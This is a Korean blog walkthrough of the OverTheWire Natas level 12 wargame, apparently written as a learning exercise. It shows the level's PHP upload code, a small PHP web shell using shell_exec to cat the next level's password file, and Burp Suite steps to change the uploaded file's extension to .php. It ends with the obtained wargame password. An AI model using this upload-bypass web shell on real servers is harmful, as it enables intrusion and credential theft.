OverTheWire: Natas level12

반응형


OverTheWire 문제풀이 - Natas

* Bandit는 웹 보안 관련 문제입니다.

* 개인적인 문제풀이로 해답을 보시기 전에 직접 풀어보시기를 권해드립니다.

* 반드시 연습용으로 제공된 환경에서만 작업하시기 바랍니다. 악용으로 일어난 사태는 절대로 책임지지 않습니다.

[링크] Natas 바로가기


Natas level12

Natas12에 접속하면 다음과 같은 화면을 볼 수 있다.

파일을 선택하고 업로드할 수 있는 버튼이 있는데 아무런 사진을 올려도 밑과 같은 화면이 출력될 뿐이다. 코드를 살펴 볼 필요가 있다.

[View sourcecode]

[php]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?  
 
function genRandomString() { 
    $length = 10
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"
    $string = "";     
 
    for ($p = 0$p < $length$p++) { 
        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
    } 
 
    return $string
 
function makeRandomPath($dir$ext) { 
    do { 
    $path = $dir."/".genRandomString().".".$ext
    } while(file_exists($path)); 
    return $path
 
function makeRandomPathFromFilename($dir$fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
    return makeRandomPath($dir$ext); 
 
if(array_key_exists("filename"$_POST)) { 
    $target_path = makeRandomPathFromFilename("upload"$_POST["filename"]); 
 
 
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"
        } else
            echo "There was an error uploading the file, please try again!"
        } 
    } 
else { 
?>
cs

[html]

1
2
3
4
5
6
7
<form enctype="multipart/form-data" action="index.php" method="POST"
<input type="hidden" name="MAX_FILE_SIZE" value="1000" /
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /
Choose a JPEG to upload (max 1KB):<br/
<input name="uploadedfile" type="file" /><br /
<input type="submit" value="Upload File" /
</form
cs

genRandomString() 라는 함수가 문자열을 랜덤으로 생산하고 html 코드를 보면 이 함수를 적용시켜 랜덤으로 파일 이름을 짓고 뒤에 강제적으로 .jpg 형식으로 저장하는 것을 알 수 있다. 파일 업로드가 있으니 php 파일 업로드 취약점을 이용하는 문제라고 가정하고 진행해 보겠다. 그러면 어떠한 코드를 짜도 jpg 즉 이미지 형식으로 업로드가 되버리면 아무 소용이 없다. 따라서 php 형식으로 업로드할 수 있는 방법을 찾아야 하는데 burp suite 툴을 이용해서 패킷을 가로채 보겠다.




[문제 풀이]

일단, 업로드 할 php 코드를 짜야하는데, 우리의 목적은 natas13의 패스워드이고 해당 패스워스들이 어느 위치에 있는지 natas를 풀어봤다면 알 것이다. natas13의 패스워드는 /etc/natas_webpass/natas13 에 있을 것이고, 이 파일을 읽기만 하면 된다. 해당 파일의 내용을 자동으로 출력할 수 있게 다음과 같이 코드를 짜보았다.

1
2
3
4
<?php
$output = shell_exec('cat /etc/natas_webpass/natas13');                                                
echo "$output";            
?>
cs

이 php 파일을 php형식으로 업로드 할 수만 있다면 shell_exec 함수로 인해 자동으로 해당 위치의 파일의 내용이 출력될 것이다. 해당 내용을 .php 형식으로 저장해놓고, 웹프록시 서버 설정 후 버프 슈트를 키고 해당 파일을 업로드 해보자. 그러면 다음과 같이 업로드 되는 패킷을 가로챌 수 있을 것이다. 혹시나 아직 버프슈트를 사용해본적이 없다면 밑에 링크 걸어놨으니 구독해보고 진행하면 된다.

Burp Suite(버프 슈트) 설치 및 사용법

위와 같이 코드를 저장한 파일 형식자를 php로 저장한 뒤에 업로드를 해보자. 이 때 버프슈트가 작동중이어야 한다.

업로드할때 패킷을 버프슈트로 가로챈 화면이다. 빨갛게 네모난 박스를 보면 분명히 natas12.php 형식으로 올렸지만 랜덤함수로 인해 파일명이 무작위로 바뀌고 확장자명이 jpg로 바뀐것을 확인할 수 있다. 파일명은 뭐든 상관없지만 중요한건 확장자이기 때문에 이를 다음과 같이 수정해준다.

수정이 완료됬다면 Forword를 눌러 패킷을 보내보자.

최종적으로 위와 같이 파일이 업로드 될 것이고. 업로드 된 파일을 누르면 파일 안에 있던 코드들이 실행되면서 다음 레벨의 암호를 획득할 수 있다.

↓ 획득한 암호 화면

모든 작업이 끝나면 웹 프록시 설정을 꼭 끄도록 하자. 안그러면 인터넷을 사용하기 힘들테니...

next level password : jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY


반응형

'War Game > natas' 카테고리의 다른 글

OverTheWire: Natas level14  (0) 2017.07.20
OverTheWire: Natas level13  (0) 2017.07.20
OverTheWire: Natas level11  (0) 2017.07.12
OverTheWire: Natas level10  (0) 2017.07.12
OverTheWire: Natas level9  (0) 2017.04.27
TAGS.

Comments